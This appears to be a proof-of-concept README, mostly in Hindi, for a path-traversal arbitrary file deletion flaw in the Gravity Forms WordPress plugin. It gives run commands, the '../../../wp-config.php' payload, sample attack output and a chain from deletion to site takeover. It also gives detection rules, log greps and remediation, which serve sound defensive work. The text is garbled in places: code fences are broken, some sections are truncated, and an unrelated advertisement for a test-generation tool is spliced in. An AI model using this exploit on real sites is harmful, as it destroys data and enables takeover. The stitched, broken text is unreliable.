
CVE-2026-48866 — Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal (CVSS 9.6)
---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘
<h3 align="center">
<code>gform_uploaded_files</code> URLs में <code>../</code> स्वीकार करता है। एडमिन का डिलीट क्लिक मनमाना फ़ाइल विलोपन ट्रिगर करता है।
</h3>
<p align="center">
<a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
<a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
<a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">पैच किया गया कमिट</a> •
<a href="https://github.com/codewurker/gravityforms">स्रोत मिरर</a>
</p>
---
## विषय सूची
<table>
<tr>
<td width="50%">
**एक्सप्लॉइट**
- [त्वरित शुरुआत](#quick-start)
- [यह कैसे काम करता है](#how-it-works)
- [प्रभाव](#impact)
- [उपयोग](#usage)
</td>
<td width="50%">
**रक्षा**
- [तकनीकी गहराई](#technical-deep-dive)
- [पहचान](#detection)
- [सुधार](#remediation)
- [संदर्भ](#references)
</td>
</tr>
</table>
---
## त्वरित शुरुआत```
┌─────────────────────────────────────────────────────────────────────┐
│ REQUIREMENTS │
│ ─────────────────────────────────────────────────────────────── │
│ Target WordPress + Gravity Forms ≤ 2.10.0.1 │
│ Form Public form with a file upload field │
│ Python 3.8+ with requests │
│ Auth None (injection) / Admin creds (trigger) │
└─────────────────────────────────────────────────────────────────────┘
`man````bash git clone https://github.com/0xABCD01/CVE-2026-48866.git cd CVE-2026-48866 pip install requests
python3 poc.py -t https://test.com -f 1 -i 3
python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'
---
## यह कैसे काम करता है
### आक्रमण प्रवाह```
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 1 — INJECTION │
│ (Unauthenticated — any visitor) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ POST gform_uploaded_files ┌──────────────────┐ │
│ │ Attacker │ ──────────────────────────────── │ WordPress AJAX │ │
│ └─────────┘ {"input_3": [{"url": │ admin-ajax.php │ │
│ ".../../../../wp-config.php"}] └────────┬─────────┘ │
│ │ │
│ esc_url_raw() → OK (doesn't strip ../) │ │
│ is_valid_url() → OK (../ is valid URL) │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ wp_postmeta │ │
│ │ (entry stored │ │
│ │ WITH ../) │ │
│ └────────┬─────────┘ │
└──────────────────────────────────────────────────────────┼────────────┘
│
┌─────────────────────────────┘
│ (hours, days, or weeks pass...)
▼
┌───────────────────────────────────────────────────────────────────────┐
│ PHASE 2 — DELETION │
│ (Admin deletes entry — routine cleanup) │
├───────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────┐ delete_entry(42) ┌──────────────────┐ │
│ │ Admin │ ──────────────────────────────── │ Gravity Forms │ │
│ └─────────┘ └────────┬─────────┘ │
│ │ │
│ get_physical_file_path() │ │
│ str_replace(url_base → path_base) │ │
│ ../ SURVIVES in the path │ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ unlink() │ │
│ │ │ │
│ │ /var/www/html/ │ │
│ │ wp-config.php │ │
│ │ → DELETED │ │
│ └──────────────────┘ │
└───────────────────────────────────────────────────────────────────────┘
// forms_model.php — get_physical_file_path() // Converts stored URL to filesystem path via string replacement $path_info = GF_Field_FileUpload::get_file_upload_path_info( $url, $entry_id ); $file_path = str_replace( trailingslashit( $path_info['url'] ), // https://target.com/wp-content/uploads/gravity_forms/ trailingslashit( $path_info['path'] ), // /var/www/html/wp-content/uploads/gravity_forms/ $url // .../gravity_forms/../../../wp-config.php ); // Result: /var/www/html/wp-content/uploads/gravity_forms/../../../wp-config.php // OS resolves ../../../ → /var/www/html/wp-config.php
No check exists between `str_replace()` और `unlink()` के बीच कोई जाँच नहीं है। बग उस अंतराल में रहता है।
---
## प्रभाव
<table>
<tr>
<th>लक्ष्य</th>
<th>प्रभाव</th>
<th>गंभीरता</th>
</tr>
<tr>
<td><code>wp-config.php</code></td>
<td>साइट ऑफ़लाइन हो जाती है. WordPress इंस्टॉलर विज़ार्ड दिखाता है. हमलावर DB को अपने सर्वर पर इंगित करता है ताकि पूरी साइट पर कब्ज़ा कर सके।</td>
<td align="center">CRITICAL</td>
</tr>
<tr>
<td><code>.htaccess</code></td>
<td>URL पुनर्लेखन और सुरक्षा नियम गायब। निर्देशिका सूचियाँ खुली।</td>
<td align="center">HIGH</td>
</tr>
<tr>
<td><code>wp-content/plugins/wordfence/wordfence.php</code></td>
<td>Wordfence WAF चलना बंद कर देता है। हमलावर और साइट के बीच कोई फ़ायरवॉल नहीं।</td>
<td align="center">HIGH</td>
</tr>
<tr>
<td><code>wp-includes/plugin.php</code></td>
<td>कोई प्लगइन लोड नहीं होता। साइट काम करना बंद कर देती है।</td>
<td align="center">CRITICAL</td>
</tr>
<tr>
<td><code>wp-login.php</code></td>
<td>व्यवस्थापक लॉक आउट हो गया। फ़ाइलें पुनर्स्थापित करने तक कोई लॉग इन नहीं कर सकता।</td>
<td align="center">MEDIUM</td>
</tr>
</table>
> *"इस तरह की कमज़ोरियों का उपयोग बड़े पैमाने पर शोषण अभियानों में किया जाता है जो एक साथ हज़ारों वेबसाइटों को निशाना बनाते हैं।"*
> [Patchstack Advisory, 2026-06-01](https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability)
### विलोपन → RCE एस्केलेशन चेन```
┌─────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Delete │ │ WordPress shows │ │ Attacker sets │
│ wp-config.php│ ──── │ installer wizard │ ──── │ own DB creds │
└─────────────┘ └──────────────────┘ └────────┬────────┘
│
▼
┌─────────────────┐
│ Full admin │
│ access to site │
│ (RCE via themes │
│ /plugin editor)│
└─────────────────┘
RCE श्रृंखला के लिए आवश्यक:
┌──────────────────────────────────────────────────────────────────────────┐ │ USAGE │ │ ───────────────────────────────────────────────────────────────────── │ │ python3 poc.py [OPTIONS] │ │ │ │ REQUIRED │ │ -t, --target TARGET Target WordPress URL │ │ -f, --form-id ID Gravity Forms form ID │ │ -i, --field-id ID File upload field ID │ │ │ │ OPTIONAL │ │ --file FILE Relative path to delete (default: │ │ wp-config.php) │ │ --depth N ../ count (default: 3) │ │ --trigger Auto-delete via admin login │ │ --admin-user USER Admin username (default: admin) │ │ --admin-pass PASS Admin password (default: admin) │ │ --proxy URL HTTP proxy for intercepting │ │ --verify-only Check target only, don't exploit │ └──────────────────────────────────────────────────────────────────────────┘
### उदाहरण परिदृश्य
<details>
<summary><b>परिदृश्य 1: साइलेंट इंजेक्शन (कोई एडमिन क्रेडेंशियल आवश्यक नहीं)</b></summary>```bash
python3 poc.py \
--target https://test.com \
--form-id 1 \
--field-id 3
../../../wp-config.php के साथ gform_uploaded_files सबमिट करता हैwp-config.php गायब हो जाता हैट्रिगर होने का समय: अज्ञात। एडमिन के व्यवहार पर निर्भर करता है। घंटे या हफ्ते।
ट्रिगर होने का समय: सेकंड।
CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
======================================================
Target: https://test.com
Form ID: 1
Field ID: 3
File: wp-config.php
Depth: 3
Trigger: True
[] === Phase 1: Injecting path traversal payload === [] Fetching form page to get nonce... [+] Got nonce: a1b2c3d4e5f6 [] Crafted payload URL: https://test.com/wp-content/uploads/gravity_forms/../../../wp-config.php [] Submitting form 1 to https://test.com/wp-admin/admin-ajax.php... [*] Response status: 200 [+] Form submitted successfully. Malicious URL stored in entry.
[] === Phase 2: Triggering file deletion as admin === [+] Logged in as admin [+] Found latest entry ID: 42 [] Deleting entry 42... [+] Entry deleted. If the target file existed, it should now be deleted.
[*] Checking target site health... [!!!] Site returned error - wp-config.php may have been deleted!
---
## तकनीकी गहराई
### Call Stack: Injection Path```
wp_ajax_nopriv_gform_submit_form ← WordPress AJAX, NO AUTH
└─ GF_Ajax_Handler::submit_form()
└─ GFAPI::submit_form()
└─ GFFormDisplay::process_form()
├─ GFFormsModel::set_uploaded_files() [forms_model.php]
│ └─ esc_url_raw( $file['url'] ) ← does NOT strip ../
└─ GF_Field_FileUpload::get_value_save_entry() [class-gf-field-fileupload.php]
└─ get_multifile_value()
├─ GFCommon::is_valid_url($url) ← format-only, ../ passes
└─ $uploaded_files[] = $file['url'] ← STORED WITH ../
GFFormsModel::delete_lead() [forms_model.php] └─ GFFormsModel::delete_files( $entry_id ) └─ delete_physical_file( $file_url, $entry_id ) ├─ get_physical_file_path( $url ) │ └─ str_replace( url_base, path_base, $url ) ← ../ PRESERVED ├─ file_exists( $file_path ) ← OS resolves ../ └─ unlink( $file_path ) ← ARBITRARY FILE DELETED
### असुरक्षित बनाम पैच किया गया
<table>
<tr>
<th width="50%">असुरक्षित (≤ 2.10.0.1)</th>
<th width="50%">पैच किया गया (2.10.1)</th>
</tr>
<tr>
<td>```php
// delete_physical_file() — NO validation
$file_path = self::get_physical_file_path(
$url, $entry_id
);
$file_path = apply_filters(
'gform_file_path_pre_delete_file',
$file_path, $url
);
// ← No check here
if ( file_exists( $file_path ) ) {
$result = unlink( $file_path );
}
GFCommon::get_absolute_path() ``.और..` को पथ खंडों पर चलकर हल करता है:```php
public static function get_absolute_path( $path ) {
$path = str_replace( array( '/', '\' ), DIRECTORY_SEPARATOR, $path );
$path = str_replace( '://', '|%%protocol%%|', $path );
$parts = array_filter( explode( DIRECTORY_SEPARATOR, $path ), 'strlen' );
$absolutes = array();
foreach ( $parts as $part ) {
if ( '.' == $part ) { continue; }
if ( '..' == $part ) {
array_pop( $absolutes );
} else {
$absolutes[] = $part;
}
}
$path = implode( DIRECTORY_SEPARATOR, $absolutes );
return str_replace( '|%%protocol%%|', '://', $path );
}
**`GFCommon::is_file_in_uploads()`** हल किए गए पथ की तुलना अपलोड रूट से करता है:```php
public static function is_file_in_uploads( $file ) {
$file_path = self::get_absolute_path( $file );
$root_url = rgar(
GF_Field_FileUpload::get_file_upload_path_info( '' ), 'url'
);
if ( ! str_starts_with( $file_path, $root_url ) ) {
return false;
}
return true;
}
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal in gform_uploaded_files";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"../"; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048866; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Path Traversal (URL-encoded)";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"%2e%2e"; nocase; distance:0;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048867; rev:1;)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2026-48866 Gravity Forms Malicious URL in Upload Parameter";
flow:established,to_server;
http.method; content:"POST";
http.request_body; content:"gform_uploaded_files";
content:"|22|url|22|"; distance:0;
content:".."; distance:0; within:200;
reference:cve,2026-48866;
classtype:web-application-attack;
sid:2026048868; rev:1;)
### होस्ट: YARA Rules```yara
rule CVE_2026_48866_Exploit_Payload {
meta:
description = "Detects CVE-2026-48866 payload in HTTP POST data or logs"
cve = "CVE-2026-48866"
severity = "critical"
author = "security-research"
strings:
$gform_param = "gform_uploaded_files"
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e%2f" nocase
$traversal4 = "..%2f" nocase
$url_key = "\"url\""
condition:
$gform_param and $url_key and any of ($traversal*)
}
rule CVE_2026_48866_Vulnerable_Plugin {
meta:
description = "Detects vulnerable Gravity Forms lacking is_file_in_uploads fix"
cve = "CVE-2026-48866"
severity = "high"
strings:
$plugin_id = "gravityforms"
$vuln_func = "delete_physical_file"
$fix_func = "is_file_in_uploads"
condition:
$plugin_id and $vuln_func and not $fix_func
}
rule CVE_2026_48866_Patched_Plugin {
meta:
description = "Confirms Gravity Forms has the is_file_in_uploads patch"
cve = "CVE-2026-48866"
severity = "informational"
strings:
$plugin_id = "gravityforms"
$fix_func = "is_file_in_uploads"
$fix_helper = "get_absolute_path"
condition:
$plugin_id and $fix_func and $fix_helper
}
आपका समय मूल्यवान है, और परीक्षण लिखना धीमी प्रक्रिया लग सकता है। हमें यह बोझ उठाने दें — मुफ़्त में। मूल और पुल रिक्वेस्ट परीक्षण निर्माण हमारी सबसे बेहतरीन क्षमता है! यदि आप अपने प्रोजेक्ट को पूरी तरह से सार्थक परीक्षणों से भरपूर देखना चाहते हैं, जो हमारे Cover-Agent की सहायता से सक्रिय रूप से अपडेट और अनुरक्षित हो, तो हम आपसे पुल रिक्वेस्ट का स्वागत करते हैं।
हमारी टीम PR की समीक्षा करेगी और आपकी कवरेज को पूरा करने के लिए आवश्यक परीक्षण जोड़ देगी। आपकी ओर से कोई अतिरिक्त काम नहीं — केवल PR। हम यह सुनिश्चित करने के लिए भारी भरकम काम करेंगे कि आपका प्रोजेक्ट मजबूत और विश्वसनीय हो। जबकि अधिकांश काम स्वचालित रूप से संभाला जाता है, फिर भी हर PR की गुणवत्ता उच्चतम सुनिश्चित करने के लिए हमारी विकास टीम द्वारा समीक्षा की जाएगी।
वैकल्पिक रूप से, यदि आप पूर्ण स्वायत्तता चाहते हैं, तो आप Cover-Agent उपकरण को मैन्युअल रूप से चलाने और इसे अपनी आवश्यकताओं के अनुरूप अधिक बारीकी से अनुकूलित करने का विकल्प चुन सकते हैं।
Cover-Agent विभिन्न प्रकार के कोडबेसों के साथ सहजता से काम करने के लिए डिज़ाइन किया गया है — यहां देखें इसे कार्रवाई में:```bash
yara -r CVE_2026_48866.yar /var/www/html/wp-content/plugins/gravityforms/
| नियम | आपने पाया |
|---|---|
| `CVE_2026_48866_Exploit_Payload` | HTTP लॉग या POST बॉडी में एक्सप्लॉइट पेलोड |
| `CVE_2026_48866_Vulnerable_Plugin` | बिना फिक्स के Gravity Forms इंस्टॉलेशन |
| `CVE_2026_48866_Patched_Plugin` | फिक्स के साथ Gravity Forms इंस्टॉलेशन |
### लॉग विश्लेषण```bash
# Apache / Nginx access logs — find exploitation attempts
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log
# Gravity Forms debug log — check for blocked deletions
grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log
# Verify your install has the fix
grep -r "is_file_in_uploads" /var/www/html/wp-content/plugins/gravityforms/
# → Results in common.php = patched
# → No results = VULNERABLE
┌─────────────────────────────────────────────────────────────────────────┐ │ REMEDIATION CHECKLIST │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ [ ] 1. UPDATE Gravity Forms to ≥ 2.10.1 │ │ [ ] 2. VERIFY fix is present (grep for is_file_in_uploads) │ │ [ ] 3. AUDIT access logs for past exploitation attempts │ │ [ ] 4. DEPLOY Suricata/WAF rules as interim protection │ │ [ ] 5. CHECK file integrity (were any core files already deleted?) │ │ [ ] 6. MONITOR for new entries with suspicious file URLs │ │ │ └─────────────────────────────────────────────────────────────────────────┘
| प्राथमिकता | कार्रवाई | कमांड |
|---|---|---|
| P0 | Gravity Forms को अपडेट करें | WordPress एडमिन → प्लगइन्स → अपडेट |
| P1 | पैच सत्यापित करें | `grep -r "is_file_in_uploads" wp-content/plugins/gravityforms/` |
| P2 | लॉग ऑडिट करें | `grep -E 'gform_uploaded_files.*\.\./' /var/log/*/access.log` |
| P3 | WAF नियम तैनात करें | [पहचान](#detection) अनुभाग देखें |
---
## अस्वीकरण```
┌─────────────────────────────────────────────────────────────────────────┐
│ LEGAL NOTICE │
│ ───────────────────────────────────────────────────────────────────── │
│ │
│ This tool is provided for AUTHORIZED SECURITY TESTING and EDUCATIONAL │
│ PURPOSES ONLY. Unauthorized access to computer systems is illegal │
│ under the Computer Fraud and Abuse Act (CFAA), EU Computer Misuse │
│ Directive, and equivalent laws worldwide. │
│ │
│ • Always obtain WRITTEN PERMISSION before testing systems you own. │
│ • You are responsible for complying with all applicable laws. │
│ • The authors assume NO LIABILITY for misuse of this software. │
│ │
│ If you find this vulnerability in production: REPORT IT. │
│ Patchstack: https://patchstack.com/database/ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
| संस्करण | कमिट | विवरण |
|---|
| v2.10.0 | 86bf7b9 | असुरक्षित। delete_physical_file() में पथ सत्यापन नहीं है |
| v2.10.1 | cf2ff65 | पैच किया गया। unlink() से पहले is_file_in_uploads() गार्ड जोड़ा गया |
| स्रोत | लिंक | स्थिति |
|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-48866 | सत्यापित |
| Patchstack Advisory | https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability | सत्यापित |
| Gravity Forms Changelog | https://docs.gravityforms.com/gravityforms-change-log/ | सत्यापित |
| Source Code (Mirror) | https://github.com/codewurker/gravityforms | सत्यापित |
| Vulnerable Commit (v2.10.0) | https://github.com/codewurker/gravityforms/commit/86bf7b9ecf14fd4a826a741a1ae180040589ebed | सत्यापित |
| Patched Commit (v2.10.1) | https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422 | सत्यापित |
| CWE-22 | https://cwe.mitre.org/data/definitions/22.html | सत्यापित |
| MITRE CVE | https://www.cve.org/CVERecord?id=CVE-2026-48866 | अभी तक भरा नहीं गया |